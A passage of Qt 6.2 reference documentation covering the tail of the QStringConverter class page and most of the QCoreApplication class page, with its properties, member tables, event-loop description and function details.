 Returns an optional encoding for *name*. The optional is empty if the name could not get converted to a valid encoding.

 ### 
bool QStringConverter::hasError() const

 Returns true if a conversion could not correctly convert a character. This could for example get triggered by an invalid UTF-8 sequence or when a character can't get converted due to limitations in the target encoding.

 ### 
bool QStringConverter::isValid() const

 Returns true if this is a valid string converter that can be used for encoding or decoding text.

 Default constructed string converters or converters constructed with an unsupported name are not valid.

 ### const char \*QStringConverter::name() const

 Returns the canonical name of the encoding this [QStringConverter](qstringconverter) can encode or decode. Returns a nullptr if the converter is not valid.

 **See also** [isValid](qstringconverter#isValid)().

 ### 
`[static]` const char \*QStringConverter::nameForEncoding([QStringConverter::Encoding](qstringconverter#Encoding-enum) *e*)

 Returns the canonical name for encoding *e*.

 ### 
void QStringConverter::resetState()

 Resets the internal state of the converter, clearing potential errors or partial conversions.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qstringconverter.html>

QCoreApplication Class
======================

 The QCoreApplication class provides an event loop for Qt applications without UI. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QCoreApplication> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Inherits: | [QObject](qobject) |
|  Inherited By: | [QAndroidService](qandroidservice) and [QGuiApplication](qguiapplication) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qcoreapplication-members.html)

 Properties
----------

 

|  |  |
| --- | --- |
| * **[applicationName](qcoreapplication#applicationName-prop)** : QString
* **[applicationVersion](qcoreapplication#applicationVersion-prop)** : QString
* **[organizationDomain](qcoreapplication#organizationDomain-prop)** : QString
 | * **[organizationName](qcoreapplication#organizationName-prop)** : QString
* **[quitLockEnabled](qcoreapplication#quitLockEnabled-prop)** : bool
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QCoreApplication](qcoreapplication#QCoreApplication)**(int &*argc*, char \*\**argv*) |
|  virtual  | **[~QCoreApplication](qcoreapplication#dtor.QCoreApplication)**() |
|  void  | **[installNativeEventFilter](qcoreapplication#installNativeEventFilter)**(QAbstractNativeEventFilter \**filterObj*) |
|  virtual bool  | **[notify](qcoreapplication#notify)**(QObject \**receiver*, QEvent \**event*) |
|  void  | **[removeNativeEventFilter](qcoreapplication#removeNativeEventFilter)**(QAbstractNativeEventFilter \**filterObject*) |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[exit](qcoreapplication#exit)**(int *returnCode* = 0) |
|  void  | **[quit](qcoreapplication#quit)**() |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[aboutToQuit](qcoreapplication#aboutToQuit)**() |
|  void  | **[applicationNameChanged](qcoreapplication#applicationName-prop)**() |
|  void  | **[applicationVersionChanged](qcoreapplication#applicationVersion-prop)**() |
|  void  | **[organizationDomainChanged](qcoreapplication#organizationDomain-prop)**() |
|  void  | **[organizationNameChanged](qcoreapplication#organizationName-prop)**() |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  void  | **[addLibraryPath](qcoreapplication#addLibraryPath)**(const QString &*path*) |
|  QString  | **[applicationDirPath](qcoreapplication#applicationDirPath)**() |
|  QString  | **[applicationFilePath](qcoreapplication#applicationFilePath)**() |
|  QString  | **[applicationName](qcoreapplication#applicationName-prop)**() |
|  qint64  | **[applicationPid](qcoreapplication#applicationPid)**() |
|  QString  | **[applicationVersion](qcoreapplication#applicationVersion-prop)**() |
|  QStringList  | **[arguments](qcoreapplication#arguments)**() |
|  bool  | **[closingDown](qcoreapplication#closingDown)**() |
|  QAbstractEventDispatcher \* | **[eventDispatcher](qcoreapplication#eventDispatcher)**() |
|  int  | **[exec](qcoreapplication#exec)**() |
|  bool  | **[installTranslator](qcoreapplication#installTranslator)**(QTranslator \**translationFile*) |
|  QCoreApplication \* | **[instance](qcoreapplication#instance)**() |
|  bool  | **[isQuitLockEnabled](qcoreapplication#quitLockEnabled-prop)**() |
|  bool  | **[isSetuidAllowed](qcoreapplication#isSetuidAllowed)**() |
|  QStringList  | **[libraryPaths](qcoreapplication#libraryPaths)**() |
|  QString  | **[organizationDomain](qcoreapplication#organizationDomain-prop)**() |
|  QString  | **[organizationName](qcoreapplication#organizationName-prop)**() |
|  void  | **[postEvent](qcoreapplication#postEvent)**(QObject \**receiver*, QEvent \**event*, int *priority* = Qt::NormalEventPriority) |
|  void  | **[processEvents](qcoreapplication#processEvents)**(QEventLoop::ProcessEventsFlags *flags* = QEventLoop::AllEvents) |
|  void  | **[processEvents](qcoreapplication#processEvents-1)**(QEventLoop::ProcessEventsFlags *flags*, int *ms*) |
|  void  | **[removeLibraryPath](qcoreapplication#removeLibraryPath)**(const QString &*path*) |
|  void  | **[removePostedEvents](qcoreapplication#removePostedEvents)**(QObject \**receiver*, int *eventType* = 0) |
|  bool  | **[removeTranslator](qcoreapplication#removeTranslator)**(QTranslator \**translationFile*) |
|  bool  | **[sendEvent](qcoreapplication#sendEvent)**(QObject \**receiver*, QEvent \**event*) |
|  void  | **[sendPostedEvents](qcoreapplication#sendPostedEvents)**(QObject \**receiver* = nullptr, int *event\_type* = 0) |
|  void  | **[setApplicationName](qcoreapplication#applicationName-prop)**(const QString &*application*) |
|  void  | **[setApplicationVersion](qcoreapplication#applicationVersion-prop)**(const QString &*version*) |
|  void  | **[setAttribute](qcoreapplication#setAttribute)**(Qt::ApplicationAttribute *attribute*, bool *on* = true) |
|  void  | **[setEventDispatcher](qcoreapplication#setEventDispatcher)**(QAbstractEventDispatcher \**eventDispatcher*) |
|  void  | **[setLibraryPaths](qcoreapplication#setLibraryPaths)**(const QStringList &*paths*) |
|  void  | **[setOrganizationDomain](qcoreapplication#organizationDomain-prop)**(const QString &*orgDomain*) |
|  void  | **[setOrganizationName](qcoreapplication#organizationName-prop)**(const QString &*orgName*) |
|  void  | **[setQuitLockEnabled](qcoreapplication#quitLockEnabled-prop)**(bool *enabled*) |
|  void  | **[setSetuidAllowed](qcoreapplication#setSetuidAllowed)**(bool *allow*) |
|  bool  | **[startingUp](qcoreapplication#startingUp)**() |
|  bool  | **[testAttribute](qcoreapplication#testAttribute)**(Qt::ApplicationAttribute *attribute*) |
|  QString  | **[translate](qcoreapplication#translate)**(const char \**context*, const char \**sourceText*, const char \**disambiguation* = nullptr, int *n* = -1) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[event](qcoreapplication#event)**(QEvent \**e*) override |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  void  | **[qAddPostRoutine](qcoreapplication#qAddPostRoutine)**(QtCleanUpFunction *ptr*) |
|  void  | **[qRemovePostRoutine](qcoreapplication#qRemovePostRoutine)**(QtCleanUpFunction *ptr*) |

 Macros
------

 

|  |  |
| --- | --- |
|  | **[Q\_COREAPP\_STARTUP\_FUNCTION](qcoreapplication#Q_COREAPP_STARTUP_FUNCTION)**(QtStartUpFunction *ptr*) |
|  | **[Q\_DECLARE\_TR\_FUNCTIONS](qcoreapplication#Q_DECLARE_TR_FUNCTIONS)**(*context*) |

 Detailed Description
--------------------

 This class is used by non-GUI applications to provide their event loop. For non-GUI application that uses Qt, there should be exactly one QCoreApplication object. For GUI applications, see [QGuiApplication](qguiapplication). For applications that use the Qt Widgets module, see [QApplication](qapplication).

 QCoreApplication contains the main event loop, where all events from the operating system (e.g., timer and network events) and other sources are processed and dispatched. It also handles the application's initialization and finalization, as well as system-wide and application-wide settings.

 ### The Event Loop and Event Handling

 The event loop is started with a call to [exec](qcoreapplication#exec)(). Long-running operations can call [processEvents](qcoreapplication#processEvents)() to keep the application responsive.

 In general, we recommend that you create a QCoreApplication, [QGuiApplication](qguiapplication) or a [QApplication](qapplication) object in your `main()` function as early as possible. [exec](qcoreapplication#exec)() will not return until the event loop exits; e.g., when [quit](qcoreapplication#quit)() is called.

 Several static convenience functions are also provided. The QCoreApplication object is available from [instance](qcoreapplication#instance)(). Events can be sent with [sendEvent](qcoreapplication#sendEvent)() or posted to an event queue with [postEvent](qcoreapplication#postEvent)(). Pending events can be removed with [removePostedEvents](qcoreapplication#removePostedEvents)() or dispatched with [sendPostedEvents](qcoreapplication#sendPostedEvents)().

 The class provides a [quit](qcoreapplication#quit)() slot and an [aboutToQuit](qcoreapplication#aboutToQuit)() signal.

 ### Application and Library Paths

 An application has an [applicationDirPath](qcoreapplication#applicationDirPath)() and an [applicationFilePath](qcoreapplication#applicationFilePath)(). Library paths (see [QLibrary](qlibrary)) can be retrieved with [libraryPaths](qcoreapplication#libraryPaths)() and manipulated by [setLibraryPaths](qcoreapplication#setLibraryPaths)(), [addLibraryPath](qcoreapplication#addLibraryPath)(), and [removeLibraryPath](qcoreapplication#removeLibraryPath)().

 ### Internationalization and Translations

 Translation files can be added or removed using [installTranslator](qcoreapplication#installTranslator)() and [removeTranslator](qcoreapplication#removeTranslator)(). Application strings can be translated using [translate](qcoreapplication#translate)(). The [QObject::tr](qobject#tr)() function is implemented in terms of [translate](qcoreapplication#translate)().

 ### Accessing Command Line Arguments

 The command line arguments which are passed to QCoreApplication's constructor should be accessed using the [arguments](qcoreapplication#arguments)() function.

  **Note:** QCoreApplication removes option `-qmljsdebugger="..."`. It parses the argument of `qmljsdebugger`, and then removes this option plus its argument.

  For more advanced command line option handling, create a [QCommandLineParser](qcommandlineparser).

 ### Locale Settings

 On Unix/Linux Qt is configured to use the system locale settings by default. This can cause a conflict when using POSIX functions, for instance, when converting between data types such as floats and strings, since the notation may differ between locales. To get around this problem, call the POSIX function `setlocale(LC_NUMERIC,"C")` right after initializing [QApplication](qapplication), [QGuiApplication](qguiapplication) or QCoreApplication to reset the locale that is used for number formatting to "C"-locale.

 **See also** [QGuiApplication](qguiapplication), [QAbstractEventDispatcher](qabstracteventdispatcher), [QEventLoop](qeventloop), [Semaphores Example](https://doc.qt.io/qt-6.2/qtcore-threads-semaphores-example.html), and [Wait Conditions Example](https://doc.qt.io/qt-6.2/qtcore-threads-waitconditions-example.html).

  Property Documentation
----------------------

 ### 
applicationName : [QString](qstring)

 This property holds the name of this application

 The value is used by the [QSettings](qsettings) class when it is constructed using the empty constructor. This saves having to repeat this information each time a [QSettings](qsettings) object is created.

 If not set, the application name defaults to the executable name (since 5.0).

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **applicationName**() |
|  void  | **setApplicationName**(const QString &*application*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **applicationNameChanged**() |

 **See also** [organizationName](qcoreapplication#organizationName-prop), [organizationDomain](qcoreapplication#organizationDomain-prop), [applicationVersion](qcoreapplication#applicationVersion-prop), and [applicationFilePath](qcoreapplication#applicationFilePath)().

 ### 
applicationVersion : [QString](qstring)

 This property holds the version of this application

 If not set, the application version defaults to a platform-specific value determined from the main application executable or package (since Qt 5.9):

 

| Platform | Source |
| --- | --- |
| Windows (classic desktop) | PRODUCTVERSION parameter of the VERSIONINFO resource |
| macOS, iOS, tvOS, watchOS | CFBundleVersion property of the information property list |
| Android | android:versionName property of the AndroidManifest.xml manifest element |

 On other platforms, the default is the empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **applicationVersion**() |
|  void  | **setApplicationVersion**(const QString &*version*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **applicationVersionChanged**() |

 **See also** [applicationName](qcoreapplication#applicationName-prop), [organizationName](qcoreapplication#organizationName-prop), and [organizationDomain](qcoreapplication#organizationDomain-prop).

 ### 
organizationDomain : [QString](qstring)

 This property holds the Internet domain of the organization that wrote this application

 The value is used by the [QSettings](qsettings) class when it is constructed using the empty constructor. This saves having to repeat this information each time a [QSettings](qsettings) object is created.

 On Mac, [QSettings](qsettings) uses organizationDomain() as the organization if it's not an empty string; otherwise it uses [organizationName](qcoreapplication#organizationName-prop)(). On all other platforms, [QSettings](qsettings) uses [organizationName](qcoreapplication#organizationName-prop)() as the organization.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **organizationDomain**() |
|  void  | **setOrganizationDomain**(const QString &*orgDomain*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **organizationDomainChanged**() |

 **See also** [organizationName](qcoreapplication#organizationName-prop), [applicationName](qcoreapplication#applicationName-prop), and [applicationVersion](qcoreapplication#applicationVersion-prop).

 ### 
organizationName : [QString](qstring)

 This property holds the name of the organization that wrote this application

 The value is used by the [QSettings](qsettings) class when it is constructed using the empty constructor. This saves having to repeat this information each time a [QSettings](qsettings) object is created.

 On Mac, [QSettings](qsettings) uses [organizationDomain](qcoreapplication#organizationDomain-prop)() as the organization if it's not an empty string; otherwise it uses organizationName(). On all other platforms, [QSettings](qsettings) uses organizationName() as the organization.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **organizationName**() |
|  void  | **setOrganizationName**(const QString &*orgName*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **organizationNameChanged**() |

 **See also** [organizationDomain](qcoreapplication#organizationDomain-prop) and [applicationName](qcoreapplication#applicationName-prop).

 ### 
quitLockEnabled : bool

 This property holds whether the use of the [QEventLoopLocker](qeventlooplocker) feature can cause the application to quit.

 The default is `true`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isQuitLockEnabled**() |
|  void  | **setQuitLockEnabled**(bool *enabled*) |

 **See also** [QEventLoopLocker](qeventlooplocker).

  Member Function Documentation
-----------------------------

 ### QCoreApplication::QCoreApplication(int &*argc*, char \*\**argv*)

 Constructs a Qt core application. Core applications are applications without a graphical user interface. Such applications are used at the console or as server processes.

 The *argc* and *argv* arguments are processed by the application, and made available in a more convenient form by the [arguments](qcoreapplication#arguments)() function.

  **Warning:** The data referred to by *argc* and *argv* must stay valid for the entire lifetime of the QCoreApplication object. In addition, *argc* must be greater than zero and *argv* must contain at least one valid character string.

  ### 
`[private signal]` void QCoreApplication::aboutToQuit()

 This signal is emitted when the application is about to quit the main event loop, e.g. when the event loop level drops to zero. This may happen either after a call to [quit](qcoreapplication#quit)() from inside the application or when the user shuts down the entire desktop session.

 The signal is particularly useful if your application has to do some last-second cleanup. Note that no user interaction is possible in this state.

 **Note:** This is a private signal. It can be used in signal connections but cannot be emitted by the user.

 **See also** [quit](qcoreapplication#quit)().

 ### 
`[static slot]` void QCoreApplication::exit(int *returnCode* = 0)

 Tells the application to exit with a return code.

 After this function has been called, the application leaves the main event loop and returns from the call to [exec](qcoreapplication#exec)(). The [exec](qcoreapplication#exec)() function returns *returnCode*. If the event loop is not running, this function does nothing.

 By convention, a *returnCode* of 0 means success, and any non-zero value indicates an error.

 It's good practice to always connect signals to this slot using a [QueuedConnection](qt#ConnectionType-enum). If a signal connected (non-queued) to this slot is emitted before control enters the main event loop (such as before "int main" calls [exec](qcoreapplication#exec)()), the slot has no effect and the application never exits. Using a queued connection ensures that the slot will not be invoked until after control enters the main event loop.

 Note that unlike the C library function of the same name, this function *does* return to the caller -- it is event processing that stops.

 Note also that this function is not thread-safe. It should be called only from the main thread (the thread that the [QCoreApplication](qcoreapplication) object is processing events on). To ask the application to exit from another thread, either use [QCoreApplication::quit](qcoreapplication#quit)() or instead call this function from the main thread with QMetaMethod::invokeMethod().

 **See also** [quit](qcoreapplication#quit)() and [exec](qcoreapplication#exec)().

 ### 
`[static slot]` void QCoreApplication::quit()

 Asks the application to quit.

 The request may be ignored if the application prevents the quit, for example if one of its windows can't be closed. The application can affect this by handling the [QEvent::Quit](qevent#Type-enum) event on the application level, or [QEvent::Close](qevent#Type-enum) events for the individual windows.

 If the quit is not interrupted the application will exit with return code 0 (success).

 To exit the application without a chance of being interrupted, call [exit](qcoreapplication#exit)() directly. Note that method is not thread-safe.

 It's good practice to always connect signals to this slot using a [QueuedConnection](qt#ConnectionType-enum). If a signal connected (non-queued) to this slot is emitted before control enters the main event loop (such as before "int main" calls [exec](qcoreapplication#exec)()), the slot has no effect and the application never exits. Using a queued connection ensures that the slot will not be invoked until after control enters the main event loop.

 Example:

 
```
QPushButton *quitButton = new QPushButton("Quit");
connect(quitButton, &QPushButton::clicked, &app, &QCoreApplication::quit, Qt::QueuedConnection);
```
 **Thread-safety note**: this function may be called from any thread to thread-safely cause the currently-running main application loop to exit. However, thread-safety is not guaranteed if the [QCoreApplication](qcoreapplication) object is being destroyed at the same time.

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [exit](qcoreapplication#exit)() and [aboutToQuit](qcoreapplication#aboutToQuit)().

 ### 
`[virtual]` QCoreApplication::~QCoreApplication()

 Destroys the [QCoreApplication](qcoreapplication) object.

 ### 
`[static]` void QCoreApplication::addLibraryPath(const [QString](qstring) &*path*)

 Prepends *path* to the beginning of the library path list, ensuring that it is searched for libraries first. If *path* is empty or already in the path list, the path list is not changed.

 The default path list consists of one or two entries. The first is the installation directory for plugins, which is `INSTALL/plugins`, where `INSTALL` is the directory where Qt was installed. The second is the application's own directory (**not** the current directory), but only after the [QCoreApplication](qcoreapplication) object is instantiated.

 The library paths are reset to the default when an instance of [QCoreApplication](qcoreapplication) is destructed.

 **See also** [removeLibraryPath](qcoreapplication#removeLibraryPath)(), [libraryPaths](qcoreapplication#libraryPaths)(), and [setLibraryPaths](qcoreapplication#setLibraryPaths)().

 ### 
`[static]` [QString](qstring) QCoreApplication::applicationDirPath()

 Returns the directory that contains the application executable.

 For example, if you have installed Qt in the `C:\Qt` directory, and you run the `regexp` example, this function will return "C:/Qt/examples/tools/regexp".

 On macOS and iOS this will point to the directory actually containing the executable, which may be inside an application bundle (if the application is bundled).

  **Warning:** On Linux, this function will try to get the path from the `/proc` file system. If that fails, it assumes that `argv[0]` contains the absolute file name of the executable. The function also assumes that the current directory has not been changed by the application.

  **See also** [applicationFilePath](qcoreapplication#applicationFilePath)().

 ### 
`[static]` [QString](qstring) QCoreApplication::applicationFilePath()

 Returns the file path of the application executable.

 For example, if you have installed Qt in the `/usr/local/qt` directory, and you run the `regexp` example, this function will return "/usr/local/qt/examples/tools/regexp/regexp".

  **Warning:** On Linux, this function will try to get the path from the `/proc` file system. If that fails, it assumes that `argv[0]` contains the absolute file name of the executable. The function also assumes that the current directory has not been changed by the application.

  **See also** [applicationDirPath](qcoreapplication#applicationDirPath)().

 ### 
`[static]` [qint64](qtglobal#qint64-typedef) QCoreApplication::applicationPid()

 Returns the current process ID for the application.

 ### 
`[static]` [QStringList](qstringlist) QCoreApplication::arguments()

 Returns the list of command-line arguments.

 Usually arguments().at(0) is the program name, arguments().at(1) is the first argument, and arguments().last() is the last argument. See the note below about Windows.

 Calling this function is slow - you should store the result in a variable when parsing the command line.

  **Warning:** On Unix, this list is built from the argc and argv parameters passed to the constructor in the main() function. The string-data in argv is interpreted using [QString::fromLocal8Bit](qstring#fromLocal8Bit)(); hence it is not possible to pass, for example, Japanese command line arguments on a system that runs in a Latin1 locale. Most modern Unix systems do not have this limitation, as they are Unicode-based.

  On Windows, the list is built from the argc and argv parameters only if modified argv/argc parameters are passed to the constructor. In that case, encoding problems might occur.

 Otherwise, the arguments() are constructed from the return value of [GetCommandLine()](https://docs.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-getcommandlinea). As a result of this, the string given by arguments().at(0) might not be the program name on Windows, depending on how the application was started.

 **See also** [applicationFilePath](qcoreapplication#applicationFilePath)() and [QCommandLineParser](qcommandlineparser).

 ### 
`[static]` bool QCoreApplication::closingDown()

 Returns `true` if the application objects are being destroyed; otherwise returns `false`.

 **See also** [startingUp](qcoreapplication#startingUp)().

 ### 
`[override virtual protected]` bool QCoreApplication::event([QEvent](qevent) \**e*)

 Reimplements: [QObject::event](qobject#event)(QEvent \*e).

 ### 
`[static]` [QAbstractEventDispatcher](qabstracteventdispatcher) \*QCoreApplication::eventDispatcher()

 Returns a pointer to the event dispatcher object for the main thread. If no event dispatcher exists for the thread, this function returns `nullptr`.

 **See also** [setEventDispatcher](qcoreapplication#setEventDispatcher)().

 ### 
`[static]` int QCoreApplication::exec()

 Enters the main event loop and waits until [exit](qcoreapplication#exit)() is called. Returns the value that was passed to [exit](qcoreapplication#exit)() (which is 0 if [exit](qcoreapplication#exit)() is called via [quit](qcoreapplication#quit)()).

 It is necessary to call this function to start event handling. The main event loop receives events from the window system and dispatches these to the application widgets.

 To make your application perform idle processing (by executing a special function whenever there are no pending events), use a [QTimer](qtimer) with 0 timeout. More advanced idle processing schemes can be achieved using [processEvents](qcoreapplication#processEvents)().

 We recommend that you connect clean-up code to the [aboutToQuit](qcoreapplication#aboutToQuit)() signal, instead of putting it in your application's `main()` function because on some platforms the exec() call may not return. For example, on Windows when the user logs off, the system terminates the process after Qt closes all top-level windows. Hence, there is no guarantee that the application will have time to exit its event loop and execute code at the end of the `main()` function after the exec() call.

 **See also** [quit](qcoreapplication#quit)(), [exit](qcoreapplication#exit)(), [processEvents](qcoreapplication#processEvents)(), and [QApplication::exec](qapplication#exec)().

 ### 
`[since 5.0]` void QCoreApplication::installNativeEventFilter([QAbstractNativeEventFilter](qabstractnativeeventfilter) \**filterObj*)

 Installs an event filter *filterObj* for all native events received by the application in the main thread.

 The event filter *filterObj* receives events via its [nativeEventFilter](qabstractnativeeventfilter#nativeEventFilter)() function, which is called for all native events received in the main thread.

 The [QAbstractNativeEventFilter::nativeEventFilter](qabstractnativeeventfilter#nativeEventFilter)() function should return true if the event should be filtered, i.e. stopped. It should return false to allow normal Qt processing to continue: the native event can then be translated into a [QEvent](qevent) and handled by the standard Qt [event](qevent) filtering, e.g. [QObject::installEventFilter](qobject#installEventFilter)().

 If multiple event filters are installed, the filter that was installed last is activated first.

  **Note:** The filter function set here receives native messages, i.e. MSG or XCB event structs.

   **Note:** Native event filters will be disabled in the application when the [Qt::AA\_PluginApplication](qt#ApplicationAttribute-enum) attribute is set.

  For maximum portability, you should always try to use [QEvent](qevent) and [QObject::installEventFilter](qobject#installEventFilter)() whenever possible.

 This function was introduced in Qt 5.0.

 **See also** [QObject::installEventFilter](qobject#installEventFilter)().

 ### 
`[static]` bool QCoreApplication::installTranslator([QTranslator](qtranslator) \**translationFile*)

 Adds the translation file *translationFile* to the list of translation files to be used for translations.

 Multiple translation files can be installed. Translations are searched for in the reverse order in which they were installed, so the most recently installed translation file is searched first and the first translation file installed is searched last. The search stops as soon as a translation containing a matching string is found.

 Installing or removing a [QTranslator](qtranslator), or changing an installed [QTranslator](qtranslator) generates a [LanguageChange](qevent#Type-enum) event for the [QCoreApplication](qcoreapplication) instance. A [QApplication](qapplication) instance will propagate the event to all toplevel widgets, where a reimplementation of changeEvent can re-translate the user interface by passing user-visible strings via the [tr](qobject#tr)() function to the respective property setters. User-interface classes generated by Qt Designer provide a `retranslateUi()` function that can be called.

 The function returns `true` on success and false on failure.

 **See also** [removeTranslator](qcoreapplication#removeTranslator)(), [translate](qcoreapplication#translate)(), [QTranslator::load](qtranslator#load)(), and [Dynamic Translation](internationalization#dynamic-translation).

 ### 
`[static]` [QCoreApplication](qcoreapplication#QCoreApplication) \*QCoreApplication::instance()

 Returns a pointer to the application's [QCoreApplication](qcoreapplication) (or [QGuiApplication](qguiapplication)/[QApplication](qapplication)) instance.

 If no instance has been allocated, `nullptr` is returned.

 ### 
`[static, since 5.3]` bool QCoreApplication::isSetuidAllowed()

 Returns true if the application is allowed to run setuid on UNIX platforms.

 This function was introduced in Qt 5.3.

 **See also** [QCoreApplication::setSetuidAllowed](qcoreapplication#setSetuidAllowed)().

 ### 
`[static]` [QStringList](qstringlist) QCoreApplication::libraryPaths()

 Returns a list of paths that the application will search when dynamically loading libraries.

 The return value of this function may change when a [QCoreApplication](qcoreapplication) is created. It is not recommended to call it before creating a [QCoreApplication](qcoreapplication). The directory of the application executable (**not** the working directory) is part of the list if it is known. In order to make it known a [QCoreApplication](qcoreapplication) has to be constructed as it will use `argv[0]` to find it.

 Qt provides default library paths, but they can also be set using a [qt.conf](qt-conf) file. Paths specified in this file will override default values. Note that if the qt.conf file is in the directory of the application executable, it may not be found until a [QCoreApplication](qcoreapplication) is created. If it is not found when calling this function, the default library paths will be used.

 The list will include the installation directory for plugins if it exists (the default installation directory for plugins is `INSTALL/plugins`, where `INSTALL` is the directory where Qt was installed). The colon separated entries of the `QT_PLUGIN_PATH` environment variable are always added. The plugin installation directory (and its existence) may change when the directory of the application executable becomes known.

 If you want to iterate over the list, you can use the [foreach](containers#foreach) pseudo-keyword:

 
```
foreach (const QString &path, app.libraryPaths())
    do_something(path);
```
 **See also** [setLibraryPaths](qcoreapplication#setLibraryPaths)(), [addLibraryPath](qcoreapplication#addLibraryPath)(), [removeLibraryPath](qcoreapplication#removeLibraryPath)(), [QLibrary](qlibrary), and [How to Create Qt Plugins](plugins-howto).

 ### 
`[virtual]` bool QCoreApplication::notify([QObject](qobject#QObject) \**receiver*, [QEvent](qevent) \**event*)

 Sends *event* to *receiver*: *receiver*->event(*event*). Returns the value that is returned from the receiver's event handler. Note that this function is called for all events sent to any object in any thread.

 For certain types of events (e.g. mouse and key events), the event will be propagated to the receiver's parent and so on up to the top-level object if the receiver is not interested in the event (i.e., it returns `false`).

 There are five different ways that events can be processed; reimplementing this virtual function is just one of them. All five approaches are listed below:

 1. Reimplementing [paintEvent](qwidget#paintEvent)(), [mousePressEvent](qwidget#mousePressEvent)() and so on. This is the most common, easiest, and least powerful way.
2. Reimplementing this function. This is very powerful, providing complete control; but only one subclass can be active at a time.
3. Installing an event filter on [QCoreApplication::instance](qcoreapplication#instance)(). Such an event filter is able to process all events for all widgets, so it's just as powerful as reimplementing notify(); furthermore, it's possible to have more than one application-global event filter. Global event filters even see mouse events for [disabled widgets](qwidget#enabled-prop). Note that application event filters are only called for objects that live in the main thread.
4. Reimplementing [QObject::event](qobject#event)() (as [QWidget](qwidget) does). If you do this you get Tab key presses, and you get to see the events before any widget-specific event filters.
5. Installing an event filter on the object. Such an event filter gets all the events, including Tab and Shift+Tab key press events, as long as they do not change the focus widget.

 **Future direction:** This function will not be called for objects that live outside the main thread in Qt 6. Applications that need that functionality should find other solutions for their event inspection needs in the meantime. The change may be extended to the main thread, causing this function to be deprecated.

  **Warning:** If you override this function, you must ensure all threads that process events stop doing so before your application object begins destruction. This includes threads started by other libraries that you may be using, but does not apply to Qt's own threads.

  **See also** [QObject::event](qobject#event)() and [installNativeEventFilter](qcoreapplication#installNativeEventFilter)().

 ### 
`[static]` void QCoreApplication::postEvent([QObject](qobject#QObject) \**receiver*, [QEvent](qevent) \**event*, int *priority* = Qt::NormalEventPriority)

 Adds the event *event*, with the object *receiver* as the receiver of the event, to an event queue and returns immediately.

 The event must be allocated on the heap since the post event queue will take ownership of the event and delete it once it has been posted. It is *not safe* to access the event after it has been posted.

 When control returns to the main event loop, all events that are stored in the queue will be sent using the [notify](qcoreapplication#notify)() function.

 Events are sorted in descending *priority* order, i.e. events with a high *priority* are queued before events with a lower *priority*. The *priority* can be any integer value, i.e. between INT\_MAX and INT\_MIN, inclusive; see [Qt::EventPriority](qt#EventPriority-enum) for more details. Events with equal *priority* will be processed in the order posted.

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [sendEvent](qcoreapplication#sendEvent)(), [notify](qcoreapplication#notify)(), [sendPostedEvents](qcoreapplication#sendPostedEvents)(), and [Qt::EventPriority](qt#EventPriority-enum).

 ### 
`[static]` void QCoreApplication::processEvents([QEventLoop::ProcessEventsFlags](qeventloop#ProcessEventsFlag-enum) *flags* = QEventLoop::AllEvents)

 Processes some pending events for the calling thread according to the specified *flags*.

 Use of this function is discouraged. Instead, prefer to move long operations out of the GUI thread into an auxiliary one and to completely avoid nested event loop processing. If event processing is really necessary, consider using [QEventLoop](qeventloop) instead.

 In the event that you are running a local loop which calls this function continuously, without an event loop, the [DeferredDelete](qevent#Type-enum) events will not be processed. This can affect the behaviour of widgets, e.g. [QToolTip](qtooltip), that rely on [DeferredDelete](qevent#Type-enum) events to function properly. An alternative would be to call [sendPostedEvents](qcoreapplication#sendPostedEvents)() from within that local loop.

 Calling this function processes events only for the calling thread, and returns after all available events have been processed. Available events are events queued before the function call. This means that events that are posted while the function runs will be queued until a later round of event processing.

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [exec](qcoreapplication#exec)(), [QTimer](qtimer), [QEventLoop::processEvents](qeventloop#processEvents)(), and [sendPostedEvents](qcoreapplication#sendPostedEvents)().

 ### 
`[static]` void QCoreApplication::processEvents([QEventLoop::ProcessEventsFlags](qeventloop#ProcessEventsFlag-enum) *flags*, int *ms*)

 This function overloads processEvents().

 Processes pending events for the calling thread for *ms* milliseconds or until there are no more events to process, whichever is shorter.

 Use of this function is discouraged. Instead, prefer to move long operations out of the GUI thread into an auxiliary one and to completely avoid nested event loop processing. If event processing is really necessary, consider using [QEventLoop](qeventloop) instead.

 Calling this function processes events only for the calling thread.

  **Note:** Unlike the [processEvents](qcoreapplication#processEvents)() overload, this function also processes events that are posted while the function runs.

   **Note:** All events that were queued before the timeout will be processed, however long it takes.

  **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [exec](qcoreapplication#exec)(), [QTimer](qtimer), and [QEventLoop::processEvents](qeventloop#processEvents)().

 ### 
`[static]` void QCoreApplication::removeLibraryPath(const [QString](qstring) &*path*)

 Removes *path* from the library path list. If *path* is empty or not in the path list, the list is not changed.

 The library paths are reset to the default when an instance of [QCoreApplication](qcoreapplication) is destructed.

 **See also** [addLibraryPath](qcoreapplication#addLibraryPath)(), [libraryPaths](qcoreapplication#libraryPaths)(), and [setLibraryPaths](qcoreapplication#setLibraryPaths)().

 ### 
`[since 5.0]` void QCoreApplication::removeNativeEventFilter([QAbstractNativeEventFilter](qabstractnativeeventfilter) \**filterObject*)

 Removes an event *filterObject* from this object. The request is ignored if such an event filter has not been installed.

